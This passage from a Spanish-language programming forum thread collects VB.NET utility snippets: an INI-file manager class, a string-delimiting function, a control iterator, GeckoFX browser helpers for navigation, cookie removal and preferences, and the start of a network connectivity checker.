  184.        ''' Checks whether the initialization file exist.
  185.        ''' </summary>
  186.        ''' <returns>True if initialization file exist, otherwise False.</returns>
  187.        Public Shared Function Exist() As Boolean
  188.            Return IO.File.Exists(FilePath)
  189.        End Function
  190.  
  191.        ''' <summary>
  192.        ''' Creates the initialization file.
  193.        ''' If the file already exist it would be replaced.
  194.        ''' </summary>
  195.        ''' <param name="Encoding">The Text encoding to write the initialization file.</param>
  196.        ''' <returns>True if the operation success, otherwise False.</returns>
  197.        Public Shared Function Create(Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
  198.  
  199.            Try
  200.                IO.File.WriteAllText(FilePath,
  201.                                     String.Empty,
  202.                                     If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding))
  203.            Catch ex As Exception
  204.                Throw
  205.                Return False
  206.  
  207.            End Try
  208.  
  209.            Return True
  210.  
  211.        End Function
  212.  
  213.        ''' <summary>
  214.        ''' Deletes the initialization file.
  215.        ''' </summary>
  216.        ''' <returns>True if the operation success, otherwise False.</returns>
  217.        Public Shared Function Delete() As Boolean
  218.  
  219.            If Not [File].Exist Then Return False
  220.  
  221.            Try
  222.                IO.File.Delete(FilePath)
  223.            Catch ex As Exception
  224.                Throw
  225.                Return False
  226.  
  227.            End Try
  228.  
  229.            Content = Nothing
  230.  
  231.            Return True
  232.  
  233.        End Function
  234.  
  235.        ''' <summary>
  236.        ''' Returns the initialization file content.
  237.        ''' </summary>
  238.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  239.        Public Shared Function [Get](Optional ByVal Encoding As System.Text.Encoding = Nothing) As List(Of String)
  240.  
  241.            Content = IO.File.ReadAllLines(FilePath,
  242.                                           If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding)).ToList()
  243.  
  244.            Return Content
  245.  
  246.        End Function
  247.  
  248.        ''' <summary>
  249.        ''' Sort the initialization file content by the Key names.
  250.        ''' If the initialization file contains sections then the sections are sorted by their names also.
  251.        ''' </summary>
  252.        ''' <param name="RemoveEmptyLines">Remove empty lines.</param>
  253.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  254.        ''' <returns>True if the operation success, otherwise False.</returns>
  255.        Public Shared Function Sort(Optional ByVal RemoveEmptyLines As Boolean = False,
  256.                                    Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
  257.  
  258.            If Not [File].Exist() Then Return False
  259.  
  260.            [File].[Get](Encoding)
  261.  
  262.            Select Case Section.Has(Encoding)
  263.  
  264.                Case True ' initialization file contains at least one Section.
  265.  
  266.                    SortedSection.Clear()
  267.                    SortedSections.Clear()
  268.  
  269.                    Section.GetNames(Encoding) ' Get the (sorted) section names
  270.  
  271.                    For Each name As String In SectionNames
  272.  
  273.                        SortedSection = Section.[Get](name, Encoding) ' Get the single section lines.
  274.  
  275.                        If RemoveEmptyLines Then ' Remove empty lines.
  276.                            SortedSection = SortedSection.Where(Function(line) _
  277.                                                                Not String.IsNullOrEmpty(line) AndAlso
  278.                                                                Not String.IsNullOrWhiteSpace(line)).ToList
  279.                        End If
  280.  
  281.                        SortedSection.Sort() ' Sort the single section keys.
  282.  
  283.                        SortedSections.Add(name) ' Add the section name to the sorted sections list.
  284.                        SortedSections.AddRange(SortedSection) ' Add the single section to the sorted sections list.
  285.  
  286.                    Next name
  287.  
  288.                    Content = SortedSections
  289.  
  290.                Case False ' initialization file doesn't contains any Section.
  291.                    Content.Sort()
  292.  
  293.                    If RemoveEmptyLines Then
  294.                        Content = Content.Where(Function(line) _
  295.                                                        Not String.IsNullOrEmpty(line) AndAlso
  296.                                                        Not String.IsNullOrWhiteSpace(line)).ToList
  297.                    End If
  298.  
  299.            End Select ' Section.Has()
  300.  
  301.            ' Save changes.
  302.            Return [File].Write(Content, Encoding)
  303.  
  304.        End Function
  305.  
  306.        ''' <summary>
  307.        ''' Writes a new initialization file with the specified text content..
  308.        ''' </summary>
  309.        ''' <param name="Content">Indicates the text content to write in the initialization file.</param>
  310.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  311.        ''' <returns>True if the operation success, otherwise False.</returns>
  312.        Public Shared Function Write(ByVal Content As List(Of String),
  313.                                     Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
  314.  
  315.            Try
  316.                IO.File.WriteAllLines(FilePath,
  317.                                      Content,
  318.                                      If(Encoding Is Nothing, System.Text.Encoding.Default, Encoding))
  319.            Catch ex As Exception
  320.                Throw
  321.                Return False
  322.  
  323.            End Try
  324.  
  325.            Return True
  326.  
  327.        End Function
  328.  
  329.    End Class
  330.  
  331.    Public Class [Key]
  332.  
  333.        <System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
  334.        Private Shadows Sub ReferenceEquals()
  335.        End Sub
  336.  
  337.        <System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
  338.        Private Shadows Sub Equals()
  339.        End Sub
  340.  
  341.        ''' <summary>
  342.        ''' Return a value indicating whether a key name exist or not.
  343.        ''' </summary>
  344.        ''' <param name="KeyName">Indicates the key name that contains the value to modify.</param>
  345.        ''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
  346.        ''' <param name="Encoding">The Text encoding to write the initialization file.</param>
  347.        ''' <returns>True if the key name exist, otherwise False.</returns>
  348.        Public Shared Function Exist(ByVal KeyName As String,
  349.                                     Optional ByVal SectionName As String = Nothing,
  350.                                     Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
  351.  
  352.            If Not [File].Exist() Then Return False
  353.  
  354.            [File].[Get](Encoding)
  355.  
  356.            [Key].GetIndex(KeyName, SectionName)
  357.  
  358.            Select Case SectionName Is Nothing
  359.  
  360.                Case True
  361.                    Return Convert.ToBoolean(Not KeyIndex)
  362.  
  363.                Case Else
  364.                    Return Convert.ToBoolean(Not (KeyIndex + SectionStartIndex))
  365.  
  366.            End Select
  367.  
  368.        End Function
  369.  
  370.        ''' <summary>
  371.        ''' Set the value of an existing key name.
  372.        '''
  373.        ''' If the initialization file doesn't exists, or else the Key doesn't exist,
  374.        ''' or else the Section parameter is not specified and the key name doesn't exist;
  375.        ''' then the 'key=value' is appended to the end of the initialization file.
  376.        '''
  377.        ''' if the specified Section name exist but the Key name doesn't exist,
  378.        ''' then the 'key=value' is appended to the end of the Section.
  379.        '''
  380.        ''' </summary>
  381.        ''' <param name="KeyName">Indicates the key name that contains the value to modify.</param>
  382.        ''' <param name="Value">Indicates the new value.</param>
  383.        ''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
  384.        ''' <param name="Encoding">The Text encoding to write the initialization file.</param>
  385.        ''' <returns>True if the operation success, otherwise False.</returns>
  386.        Public Shared Function [Set](ByVal KeyName As String,
  387.                                     ByVal Value As String,
  388.                                     Optional ByVal SectionName As String = Nothing,
  389.                                     Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
  390.  
  391.            If Not [File].Exist() Then [File].Create()
  392.  
  393.            [File].[Get](Encoding)
  394.  
  395.            [Key].GetIndex(KeyName, SectionName)
  396.  
  397.            ' If KeyName is not found and indicated Section is found, then...
  398.            If KeyIndex = -1 AndAlso SectionEndIndex <> -1 Then
  399.  
  400.                ' If section EndIndex is the last line of file, then...
  401.                If SectionEndIndex = Content.Count Then
  402.  
  403.                    Content(Content.Count - 1) = Content(Content.Count - 1) &
  404.                                                         Environment.NewLine &
  405.                                                         String.Format("{0}={1}", KeyName, Value)
  406.  
  407.                Else ' If not section EndIndex is the last line of file, then...
  408.  
  409.                    Content(SectionEndIndex) = String.Format("{0}={1}", KeyName, Value) &
  410.                                                    Environment.NewLine &
  411.                                                    Content(SectionEndIndex)
  412.                End If
  413.  
  414.                ' If KeyName is found then...
  415.            ElseIf KeyIndex <> -1 Then
  416.                Content(KeyIndex) = String.Format("{0}={1}", KeyName, Value)
  417.  
  418.                ' If KeyName is not found and Section parameter is passed. then...
  419.            ElseIf KeyIndex = -1 AndAlso SectionName IsNot Nothing Then
  420.                Content.Add(SectionName)
  421.                Content.Add(String.Format("{0}={1}", KeyName, Value))
  422.  
  423.                ' If KeyName is not found, then...
  424.            ElseIf KeyIndex = -1 Then
  425.                Content.Add(String.Format("{0}={1}", KeyName, Value))
  426.  
  427.            End If
  428.  
  429.            ' Save changes.
  430.            Return [File].Write(Content, Encoding)
  431.  
  432.        End Function
  433.  
  434.        ''' <summary>
  435.        ''' Get the value of an existing key name.
  436.        ''' If the initialization file or else the Key doesn't exist then a 'Nothing' object is returned.
  437.        ''' </summary>
  438.        ''' <param name="KeyName">Indicates the key name to retrieve their value.</param>
  439.        ''' <param name="DefaultValue">Indicates a default value to return if the key name is not found.</param>
  440.        ''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
  441.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  442.        Public Shared Function [Get](ByVal KeyName As String,
  443.                                     Optional ByVal DefaultValue As Object = Nothing,
  444.                                     Optional ByVal SectionName As String = Nothing,
  445.                                     Optional ByVal Encoding As System.Text.Encoding = Nothing) As Object
  446.  
  447.            If Not [File].Exist() Then Return DefaultValue
  448.  
  449.            [File].[Get](Encoding)
  450.  
  451.            [Key].GetIndex(KeyName, SectionName)
  452.  
  453.            Select Case KeyIndex
  454.  
  455.                Case Is <> -1 ' KeyName found.
  456.                    Return Content(KeyIndex).Substring(Content(KeyIndex).IndexOf("=") + 1)
  457.  
  458.                Case Else ' KeyName not found.
  459.                    Return DefaultValue
  460.  
  461.            End Select
  462.  
  463.        End Function
  464.  
  465.        ''' <summary>
  466.        ''' Returns the initialization file line index of the key name.
  467.        ''' </summary>
  468.        ''' <param name="KeyName">Indicates the Key name to retrieve their value.</param>
  469.        ''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
  470.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  471.        Private Shared Sub GetIndex(ByVal KeyName As String,
  472.                                    Optional ByVal SectionName As String = Nothing,
  473.                                    Optional ByVal Encoding As System.Text.Encoding = Nothing)
  474.  
  475.            If Content Is Nothing Then [File].Get(Encoding)
  476.  
  477.            ' Reset the INI index elements to negative values.
  478.            KeyIndex = -1
  479.            SectionStartIndex = -1
  480.            SectionEndIndex = -1
  481.  
  482.            If SectionName IsNot Nothing AndAlso Not SectionName Like "[[]?*[]]" Then
  483.                Throw New SectionNameInvalidFormatException
  484.                Exit Sub
  485.            End If
  486.  
  487.            ' Locate the KeyName and set their element index.
  488.            ' If the KeyName is not found then the value is set to "-1" to return an specified default value.
  489.            Select Case String.IsNullOrEmpty(SectionName)
  490.  
  491.                Case True ' Any SectionName parameter is specified.
  492.  
  493.                    KeyIndex = Content.FindIndex(Function(line) line.StartsWith(String.Format("{0}=", KeyName),
  494.                                                                              StringComparison.InvariantCultureIgnoreCase))
  495.  
  496.                Case False ' SectionName parameter is specified.
  497.  
  498.                    Select Case Section.Has(Encoding)
  499.  
  500.                        Case True ' INI contains at least one Section.
  501.  
  502.                            SectionStartIndex = Content.FindIndex(Function(line) line.Trim.Equals(SectionName.Trim, CompareMode))
  503.                            If SectionStartIndex = -1 Then ' Section doesn't exist.
  504.                                Exit Sub
  505.                            End If
  506.  
  507.                            SectionEndIndex = Content.FindIndex(SectionStartIndex + 1, Function(line) line.Trim Like "[[]?*[]]")
  508.                            If SectionEndIndex = -1 Then
  509.                                ' This fixes the value if the section is at the end of file.
  510.                                SectionEndIndex = Content.Count
  511.                            End If
  512.  
  513.                            KeyIndex = Content.FindIndex(SectionStartIndex, SectionEndIndex - SectionStartIndex,
  514.                                                                  Function(line) line.StartsWith(String.Format("{0}=", KeyName),
  515.                                                                                      StringComparison.InvariantCultureIgnoreCase))
  516.  
  517.                        Case False ' INI doesn't contains Sections.
  518.                            GetIndex(KeyName, , Encoding)
  519.  
  520.                    End Select ' Section.Has()
  521.  
  522.            End Select ' String.IsNullOrEmpty(SectionName)
  523.  
  524.        End Sub
  525.  
  526.        ''' <summary>
  527.        ''' Remove an existing key name.
  528.        ''' </summary>
  529.        ''' <param name="KeyName">Indicates the key name to retrieve their value.</param>
  530.        ''' <param name="SectionName">Indicates the Section name where to find the key name.</param>
  531.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  532.        ''' <returns>True if the operation success, otherwise False.</returns>
  533.        Public Shared Function Remove(ByVal KeyName As String,
  534.                                      Optional ByVal SectionName As String = Nothing,
  535.                                      Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
  536.  
  537.            If Not [File].Exist() Then Return False
  538.  
  539.            [File].[Get](Encoding)
  540.  
  541.            [Key].GetIndex(KeyName, SectionName)
  542.  
  543.            Select Case KeyIndex
  544.  
  545.                Case Is <> -1 ' Key found.
  546.  
  547.                    ' Remove the element containing the key name.
  548.                    Content.RemoveAt(KeyIndex)
  549.  
  550.                    ' Save changes.
  551.                    Return [File].Write(Content, Encoding)
  552.  
  553.                Case Else ' KeyName not found.
  554.                    Return False
  555.  
  556.            End Select
  557.  
  558.        End Function
  559.  
  560.    End Class
  561.  
  562.    Public Class Section
  563.  
  564.        <System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
  565.        Private Shadows Sub ReferenceEquals()
  566.        End Sub
  567.  
  568.        <System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
  569.        Private Shadows Sub Equals()
  570.        End Sub
  571.  
  572.        ''' <summary>
  573.        ''' Adds a new section at bottom of the initialization file.
  574.        ''' </summary>
  575.        ''' <param name="SectionName">Indicates the Section name to add.</param>
  576.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  577.        ''' <returns>True if the operation success, otherwise False.</returns>
  578.        Public Shared Function Add(Optional ByVal SectionName As String = Nothing,
  579.                                   Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
  580.  
  581.            If Not [File].Exist() Then [File].Create()
  582.  
  583.            If Not SectionName Like "[[]?*[]]" Then
  584.                Throw New SectionNameInvalidFormatException
  585.                Exit Function
  586.            End If
  587.  
  588.            [File].[Get](Encoding)
  589.  
  590.            Select Case Section.GetNames(Encoding).Where(Function(line) line.Trim.Equals(SectionName.Trim, CompareMode)).Any
  591.  
  592.                Case False ' Any of the existing Section names is equal to given section name.
  593.  
  594.                    ' Add the new section name.
  595.                    Content.Add(SectionName)
  596.  
  597.                    ' Save changes.
  598.                    Return [File].Write(Content, Encoding)
  599.  
  600.                Case Else ' An existing Section name is equal to given section name.
  601.                    Return False
  602.  
  603.            End Select
  604.  
  605.        End Function
  606.  
  607.        ''' <summary>
  608.        ''' Returns all the keys and values of an existing Section Name.
  609.        ''' </summary>
  610.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  611.        ''' <param name="SectionName">Indicates the section name where to retrieve their keynames and values.</param>
  612.        Public Shared Function [Get](ByVal SectionName As String,
  613.                                     Optional ByVal Encoding As System.Text.Encoding = Nothing) As List(Of String)
  614.  
  615.            If Content Is Nothing Then [File].Get(Encoding)
  616.  
  617.            SectionStartIndex = Content.FindIndex(Function(line) line.Trim.Equals(SectionName.Trim, CompareMode))
  618.  
  619.            SectionEndIndex = Content.FindIndex(SectionStartIndex + 1, Function(line) line.Trim Like "[[]?*[]]")
  620.  
  621.            If SectionEndIndex = -1 Then
  622.                SectionEndIndex = Content.Count ' This fixes the value if the section is at the end of file.
  623.            End If
  624.  
  625.            Return Content.GetRange(SectionStartIndex, SectionEndIndex - SectionStartIndex).Skip(1).ToList
  626.  
  627.        End Function
  628.  
  629.        ''' <summary>
  630.        ''' Returns all the section names of the initialization file.
  631.        ''' </summary>
  632.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  633.        Public Shared Function GetNames(Optional ByVal Encoding As System.Text.Encoding = Nothing) As String()
  634.  
  635.            If Content Is Nothing Then [File].Get(Encoding)
  636.  
  637.            ' Get the Section names.
  638.            SectionNames = (From line In Content Where line.Trim Like "[[]?*[]]").ToArray
  639.  
  640.            ' Sort the Section names.
  641.            If SectionNames.Count <> 0 Then Array.Sort(SectionNames)
  642.  
  643.            ' Return the Section names.
  644.            Return SectionNames
  645.  
  646.        End Function
  647.  
  648.        ''' <summary>
  649.        ''' Gets a value indicating whether the initialization file contains at least one Section.
  650.        ''' </summary>
  651.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  652.        ''' <returns>True if the INI contains at least one section, otherwise False.</returns>
  653.        Public Shared Function Has(Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
  654.  
  655.            If Content Is Nothing Then [File].Get(Encoding)
  656.  
  657.            Return (From line In Content Where line.Trim Like "[[]?*[]]").Any()
  658.  
  659.        End Function
  660.  
  661.        ''' <summary>
  662.        ''' Removes an existing section with all of it's keys and values.
  663.        ''' </summary>
  664.        ''' <param name="SectionName">Indicates the Section name to remove with all of it's key/values.</param>
  665.        ''' <param name="Encoding">The Text encoding to read the initialization file.</param>
  666.        ''' <returns>True if the operation success, otherwise False.</returns>
  667.        Public Shared Function Remove(Optional ByVal SectionName As String = Nothing,
  668.                                      Optional ByVal Encoding As System.Text.Encoding = Nothing) As Boolean
  669.  
  670.            If Not [File].Exist() Then Return False
  671.  
  672.            If Not SectionName Like "[[]?*[]]" Then
  673.                Throw New SectionNameInvalidFormatException
  674.                Exit Function
  675.            End If
  676.  
  677.            [File].[Get](Encoding)
  678.  
  679.            Select Case [Section].GetNames(Encoding).Where(Function(line) line.Trim.Equals(SectionName.Trim, CompareMode)).Any
  680.  
  681.                Case True ' An existing Section name is equal to given section name.
  682.  
  683.                    ' Get the section StartIndex and EndIndex.
  684.                    [Get](SectionName)
  685.  
  686.                    ' Remove the section range index.
  687.                    Content.RemoveRange(SectionStartIndex, SectionEndIndex - SectionStartIndex)
  688.  
  689.                    ' Save changes.
  690.                    Return [File].Write(Content, Encoding)
  691.  
  692.                Case Else ' Any of the existing Section names is equal to given section name.
  693.                    Return False
  694.  
  695.            End Select
  696.  
  697.        End Function
  698.  
  699.    End Class
  700.  
  701. #End Region
  702.  
  703. End Class
  704.  
  705. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Diciembre 2013, 19:56 pm
Una función de uso genérico para delimitar un string, es decir, para tomar una porción dell texto (solo una).

Código
  1. #Region " Delimit String "
  2.  
  3.    ' [ Delimit String ]
  4.    '
  5.    ' // By Elektro H@ker
  6.    '
  7.    ' Result: my new house today
  8.    ' MsgBox(Delimit_String("Welcome to my new house today", "to"))
  9.  
  10.    ' Result: my new house
  11.    ' MsgBox(Delimit_String("Welcome to my new house today", "to", "today"))
  12.  
  13.    ' Result: my new house
  14.    ' MsgBox(Delimit_String("Welcome to my new house today", "TO", "tODaY", RegexOptions.IgnoreCase))
  15.  
  16.    ' Result: my new house
  17.    ' MsgBox(Delimit_String("Welcome to my new house today", "to", "to", RegexOptions.IgnoreCase Or RegexOptions.RightToLeft))
  18.  
  19.    ' Result: Nothing (No IgnoreCase specified.)
  20.    ' MsgBox(Delimit_String("Welcome to my new house today", "TO", "HoUSe"))
  21.  
  22.    ' Result: Nothing (Second delimiter is not found.)
  23.    ' MsgBox(Delimit_String("Welcome to my new house today", "to", "tokyo", ))
  24.  
  25.    ''' <summary>
  26.    ''' Delimit a String using Start/End delimiters.
  27.    ''' </summary>
  28.    ''' <param name="str">Indicates the String to delimit.</param>
  29.    ''' <param name="Delimiter_A">A delimiter used to indicate the end of the string.</param>
  30.    ''' <param name="Delimiter_B">An optional delimiter used to indicate the end of the string produced by the first delimiter.</param>
  31.    ''' <param name="Options">Indicates options such as IgnoreCase or to start splitting from RightToLeft.</param>
  32.    Private Function Delimit_String(ByVal str As String,
  33.                                    ByVal Delimiter_A As String,
  34.                                    Optional ByVal Delimiter_B As String = "",
  35.                                    Optional ByVal Options As RegexOptions = RegexOptions.None) As String
  36.  
  37.        Dim rgx1 As New Regex(Delimiter_A, Options)
  38.        Dim rgx2 As New Regex(Delimiter_B, Options)
  39.  
  40.        Dim m1 = rgx1.Match(str)
  41.        Select Case Options.ToString.Contains(RegexOptions.RightToLeft.ToString)
  42.            Case False ' Left To Right
  43.                str = str.Substring(m1.Index + m1.Length)
  44.            Case True ' Right To Left
  45.                str = str.Substring(0, m1.Index)
  46.        End Select
  47.  
  48.        Dim m2 = rgx2.Match(str)
  49.        If Not String.IsNullOrWhiteSpace(Delimiter_B) Then
  50.            Select Case Options.ToString.Contains(RegexOptions.RightToLeft.ToString)
  51.                Case False ' Left To Right
  52.                    str = str.Substring(0, m2.Index)
  53.                Case True ' Right To Left
  54.                    str = str.Substring(m2.Index + m2.Length)
  55.            End Select
  56.        End If
  57.  
  58.        Return str
  59.  
  60.    End Function
  61.  
  62. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 12 Diciembre 2013, 06:54 am
Control Iterator

Recolecta uno o varios controles y realiza una operación específica en ellos.

Le añadí decenas de overloads y métodos, el código es bien largo: http://pastebin.com/ypuQdKf0

Ejemplos de uso:
Código
  1. ControlIterator.Disable(CheckBox1)
  2.  
  3. ControlIterator.Enable({CheckBox1, CheckBox2})
  4.  
  5. ControlIterator.Check(Of CheckBox)(Me)
  6.  
  7. ControlIterator.Uncheck(Of CheckBox)(Me.GroupBox1)
  8.  
  9. ControlIterator.Hide(Of CheckBox)("1")
  10.  
  11. ControlIterator.PerformAction(Of CheckBox)(Sub(ctrl As CheckBox) ctrl.Visible = True)
  12.  
  13. ControlIterator.AsyncPerformAction(RichTextBox1,
  14.                                    Sub(rb As RichTextBox)
  15.                                        For n As Integer = 0 To 9
  16.                                            rb.AppendText(CStr(n))
  17.                                        Next
  18.                                    End Sub)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Diciembre 2013, 15:06 pm
Unos snippets para el control GeckoFX https://bitbucket.org/geckofx/ la cual necesita (una versión específica de) XulRunner http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/

- Navega a una url y espera a que la página se haya cargado complétamente.

Código
  1.    ' [GeckoFX] - Navigate And Wait
  2.    '
  3.    ' // By Elektro H@cker
  4.    '
  5.    ' Usage Examples:
  6.    ' NavigateAndWait(GeckoWebBrowser1, "www.google.com") : MsgBox("Page fully loaded!")
  7.  
  8.    Private WebPageLoaded As Boolean = False
  9.  
  10.    ''' <summary>
  11.    ''' Navigates to an url and waits the page to be loaded.
  12.    ''' </summary>
  13.    ''' <param name="url">Indicates the url to navigate.</param>
  14.    Public Sub NavigateAndWait(Byval Browser as Gecko.GeckoWebBrowser,
  15.                               Byval url As String,
  16.                               Optional loadFlags As Gecko.GeckoLoadFlags = Gecko.GeckoLoadFlags.None,
  17.                               Optional referrer As String = Nothing,
  18.                               Optional postData As Gecko.GeckoMIMEInputStream = Nothing)
  19.  
  20.        Me.WebPageLoaded = False
  21.  
  22.        AddHandler Browser.DocumentCompleted, AddressOf GeckoWebBrowserDocumentCompleted
  23.        Browser.Navigate(url, loadFlags, referrer, postData)
  24.  
  25.        Do Until Me.WebPageLoaded
  26.            Application.DoEvents()
  27.        Loop
  28.  
  29.        RemoveHandler Browser.DocumentCompleted, AddressOf GeckoWebBrowserDocumentCompleted
  30.  
  31.    End Sub
  32.  
  33.    ' GeckoWebBrowser [DocumentCompleted]
  34.    Private Sub GeckoWebBrowserDocumentCompleted(ByVal sender As Object, e As EventArgs)
  35.  
  36.        Me.WebPageLoaded = True
  37.  
  38.    End Sub


- Elimina todas las cookies que haya generado el navegador

Código
  1.    ' [GeckoFX] - Remove All Cookies
  2.  
  3.    Private Sub RemoveAllCookies()
  4.        Dim CookieMan As nsICookieManager2
  5.        CookieMan = Xpcom.GetService(Of nsICookieManager2)("@mozilla.org/cookiemanager;1")
  6.        CookieMan = Xpcom.QueryInterface(Of nsICookieManager2)(CookieMan)
  7.        CookieMan.RemoveAll()
  8.    End Sub

- Establece algunas preferencias interesantes del navegador

Código
  1.    Private Sub SetNavigatorPreferences()
  2.  
  3.        ' Pipelining reduces network load and can reduce page loading times over high-latency connections,
  4.        ' but not all servers support it.
  5.        ' Some servers may even behave incorrectly if they receive pipelined requests.
  6.        ' If a proxy server is not configured, this preference controls whether to attempt to use pipelining.
  7.        ' Value = Attempt to use pipelining in HTTP 1.1 connections or not.
  8.        Gecko.GeckoPreferences.Default("network.http.pipelining") = True
  9.  
  10.        ' Many problems with pipelining are related to broken proxy servers sitting between the user and the destination web site.
  11.        ' Since this is not a problem with SSL, it is possible to turn on pipelining for SSL websites only.
  12.        ' This preference controls whether to use pipelining for secure websites, regardless of network.http.pipelining.
  13.        ' Value = Use HTTP pipelining for secure websites or not.
  14.        Gecko.GeckoPreferences.Default("network.http.pipelining.ssl") = True
  15.  
  16.        ' Value = The maximum number of requests to pipeline at once when pipelining is enabled.
  17.        Gecko.GeckoPreferences.Default("network.http.pipelining.maxrequests") = 10
  18.  
  19.        ' Value = Total number of HTTP connections the application can make to a single server.
  20.        Gecko.GeckoPreferences.Default("network.http.max-connections-per-server") = 20
  21.  
  22.        ' HTTP keep-alive connections can be re-used for multiple requests,
  23.        ' as opposed to non-keep-alive connections, which are limited to one request.
  24.        ' Using keep-alive connections improves performance.
  25.        ' Value = The maximum number of HTTP keep-alive connections the application can have open at once to a single server. (Default: 2)
  26.        Gecko.GeckoPreferences.Default("network.http.max-persistent-connections-per-server") = 5
  27.  
  28.        ' Display what's been received of a page before the entire page has been downloaded.
  29.        ' Value = The number of milliseconds to wait before first displaying the page. (Default: 250)
  30.        Gecko.GeckoPreferences.Default("nglayout.initialpaint.delay") = 0
  31.  
  32.        ' Value = Attempt to use pipelining in HTTP 1.1 connections to the proxy server or not.
  33.        Gecko.GeckoPreferences.Default("network.http.proxy.pipelining") = True
  34.  
  35.        ' Rather than wait until a page has completely downloaded to display it to the user,
  36.        ' Mozilla applications will periodically render what has been received to that point.
  37.        ' Because reflowing the page every time additional data is received greatly slows down total page load time,
  38.        ' a timer was added so that the page would not reflow too often.
  39.        ' Value = The maximum number of times the content will do timer-based reflows.
  40.        ' After this number has been reached, the page will only reflow once it is finished downloading.
  41.        Gecko.GeckoPreferences.Default("content.notify.backoffcount") = 5
  42.  
  43.        ' Value = Displays the full path of a installed plugin file or not.
  44.        Gecko.GeckoPreferences.Default("plugin.expose_full_path") = True
  45.  
  46.        ' Value = The delay in milliseconds between hovering over a menu option with a submenu and the submenu appearing.
  47.        Gecko.GeckoPreferences.Default("ui.submenuDelay") = 0
  48.  
  49.        ' Pages that were recently visited are stored in memory in such a way that they don't have to be re-parsed (this is different from the memory cache).
  50.        ' This improves performance when pressing Back and Forward.
  51.        ' Value = The maximum number of pages stored in memory.
  52.        Gecko.GeckoPreferences.Default("Browser.sessionhistory.max_total_viewers") = 5
  53.  
  54.        ' Value = The maximum number of pages in the browser's session history,
  55.        ' the maximum number of URLs you can traverse purely through the Back/Forward buttons. Default value is 50.
  56.        Gecko.GeckoPreferences.Default("Browser.sessionhistory.max_entries") = 60
  57.  
  58.        ' When a program is minimized and left for a period of time,
  59.        ' Windows will swap memory the program is using from RAM onto the hard disk in anticipation that other programs might need RAM.
  60.        ' Value = Determines whether to mark memory as preferably swappable, from a minimized Mozilla Windows application.
  61.        Gecko.GeckoPreferences.Default("config.trim_on_minimize") = True
  62.  
  63.        ' Mozilla applications will periodically retrieve a blocklist from the server specified in extensions.blocklist.url.
  64.        ' While Mozilla 's add-on system is a powerful feature, it can also be a vector for malware.
  65.        ' Specific extensions can be blocklisted from a central server (by default, addons.mozilla.org).
  66.        ' Value = Determines wheter to retrieve a blocklist to restrict extension installation.
  67.        Gecko.GeckoPreferences.Default("extensions.blocklist.enabled") = False
  68.  
  69.    End Sub


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Diciembre 2013, 18:02 pm
Para comprobar si la conectividad a una web está disponible y mostrar un mensaje de Status en un control...

Ejemplo de uso:

Código
  1.    Private Sub Test()
  2.  
  3.        MsgBox(Is_Connectivity_Avaliable("Google.com"))
  4.  
  5.        Dim t As New Threading.Thread(AddressOf CheckConnectivity)
  6.        t.Start()
  7.  
  8.    End Sub
  9.  
  10.    Private Sub CheckConnectivity()
  11.        Do Until Is_Connectivity_Avaliable("qwertyqwertyqwerty.com", 10, Label1)
  12.            Application.DoEvents()
  13.        Loop
  14.    End Sub

Código
  1.    Private Function Is_Connectivity_Avaliable(ByVal url As String,
  2.                                               Optional ByVal RetryInterval As Integer = -1,
  3.                                               Optional ByVal StatusControl As Control = Nothing) As Boolean
  4.  
  5.        Dim NoNetworkMessage As String = "Network connection is not avaliable."
  6.        Dim NoWebsiteMessage As String = "WebSite is not avaliable."
  7.        Dim NoNetworkRetryMessage As String = "Network connection is not avaliable, retrying in {0} seconds..."
  8.        Dim NoWebsiteRetryMessage As String = "WebSite is not avaliable, retrying in {0} seconds..."
  9.        Dim YesNetworkMessage As String = "Network connection established."
  10.        Dim YesWebsiteMessage As String = "WebSite connection established."
  11.  
  12.        Select Case My.Computer.Network.IsAvailable
  13.  
  14.            Case False ' No network device avaliable
  15.  
  16.                If RetryInterval = -1 Then ' Do not retry
  17.                    NetworkAvaliable(NoNetworkMessage, False, StatusControl)
  18.                    Return False
  19.  
  20.                Else ' Retry
  21.  
  22.                    For X As Integer = 0 To RetryInterval
  23.                        NetworkAvaliable(String.Format(NoNetworkRetryMessage, RetryInterval - X), True, StatusControl)
  24.                    Next X
  25.  
  26.                    Is_Connectivity_Avaliable(url, RetryInterval, StatusControl)
  27.  
  28.                End If ' RetryInterval
  29.  
  30.            Case True ' Network device is avaliable
  31.  
  32.                ' Inform that network device is avaliable.
  33.                NetworkAvaliable(YesNetworkMessage, False, StatusControl)
  34.  
  35.                Try ' Try connect to the given url
  36.                    My.Computer.Network.Ping(url)
  37.  
